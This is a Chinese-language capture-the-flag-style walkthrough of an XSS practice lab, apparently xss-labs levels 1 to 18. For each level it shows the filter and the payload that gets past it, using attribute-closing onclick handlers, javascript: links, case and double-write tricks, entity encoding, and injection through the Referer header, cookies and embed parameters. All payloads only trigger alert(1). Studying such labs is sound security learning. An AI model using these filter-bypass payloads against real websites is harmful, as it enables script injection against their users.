目录
payload:(如果用HackBar插件GET传参,不要忘了url编码一下)
第一关:
payload:
<script>alert(1)</script>
第二关:
先输入<script>alert(1)</script>,然后查看一下源代码
没有任何过滤,输出在input标签里,可以构造双引号的闭合,同时利用DOM事件
payload:
"onclick='alert(1)'>
第三关:
先尝试一手<script>alert(1)</script>
发现<>被转义了,这时候我们就构造input标签内的闭合
payload:
' onclick='alert(1)'>
第四关:
输入<script>alert(1)</script>发现<>被过滤了,如图
然后尝试一下闭合,成功
payload:
" onclick='alert(1)'>
第五关:
还是先测试<script>alert(1)</script>,然后查看源代码
发现有<>的转义,还在script中间加了下划线_,接着尝试闭合,同样存在闭合和转义,所以利用a标签的href来闭合
payload:
"><a href=javascript:alert(1)>
第六关
href,onclick,<script>都被加上下划线了 ,尝试大小写绕过
payload:
"><a Href=javascript:alert(1)>
第七关
script被过滤
on被过滤,双写on成功
payload:
" oonnclick='alert(1)'>
第八关
发现可以跳转链接,可以利用伪协议
发现script被加下划线了,双写大小写绕过都没有用,尝试html编码绕过,成功:
payload:
javascript:alert(1)
第九关
利用第八关的html编码绕过没用了
查看一下源码是怎么限制的
源代码要求链接必须含有http://,那就把http://注释掉:/*http://*/
payload:(如果用HackBar插件GET传参,不要忘了url编码一下)
javascript:alert()/* http:// */
第十关
通过代码审计,发现还可以传一个t_sort的参数,可以输出到前端,但是过滤了 "<" 和 ">"
那就构造闭合" οnclick=javascript:alert(1)>,但是这个表单元素属性是hidden的,所以加个type="text"
payload:
keyword=1&t_sort=" onclick='alert(1)' type="text">
第十一关
代码审计发现keyword和t_sort都被转义了,可以利用的是t_ref,不过t_ref接收的值是请求头中的referer(referer表示当前请求资源所在页面的完整路径)
那就对referer动手脚
payload:
" onclick='alert(1)' type="text">
第十二关
同十一关,还是请求头参数存在注入点
payload:
" onclick='alert(1)' type="text">
第十三关
这次是在cookie中的user中注入
payload:
user=" onclick='alert(1)' type="text">
第十四关
里面的链接失效了,这关跳过,不过提一句,这关涉及到了exif漏洞,原理是有些网站有读取图片exif信息的功能,当网站读取到的恶意的exif信息就会触发属性中的payload, exif是可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。
第十五关
代码审计,发现了 ng-include
ng-include 作用:引入外部html文件
包含level1.php:
那么我们给level1.php传参,使被包含的level1.php弹窗,也就是level15弹窗,成功:
payload:
src="./level1.php?name=<a href=javascript:alert(1)>"
第十六关
script , 空格,双空格, / 被过滤了,用%0a绕过空格过滤
payload:
keyword=<input%0atype='text'%0aonclick='alert(1)'>
第十七关
代码审计一下:
首先说一下embed标签,可以理解为定义了一个区域,可以把html文档、图片、视频、音频等内容内嵌到当前页面,这关浏览器不支持flash插件,所以图片显示不出来,如果感觉别扭,就在后端把xsf01.swf 改成 index.png, 不改也没关系
$GET["arg01"] 接收一个参数,然后拼接一个等号,再拼接 $GET["arg02"] ,所以这个标签大概是这样的: <embed src=xsf01.swf?$GET["arg01"]=$GET["arg02"] width=100% height=100%>,我们给$GET["arg01"]传一个 a ,给$GET["arg02"]传 "b οnclick=alert(1)" (注意,没有双引号,我是为了强调加空格才加了双引号,因为是拼接,所以空格也会拼接进去,这样表示$GET["arg01"]传参结束),之后这个 embed 标签呈现的效果就是:
<embed src=xsf01.swf?a=b οnclick=alert(1) width=100% height=100%>
成功!
payload:
?arg01=a&arg02=aaa onmousemove='alert(1)'
第十八关
同十七关
第十九关(逆向学会再补充)
第二十关(逆向学会再补充)
十九关和二十关涉及到逆向,暂时先不写了~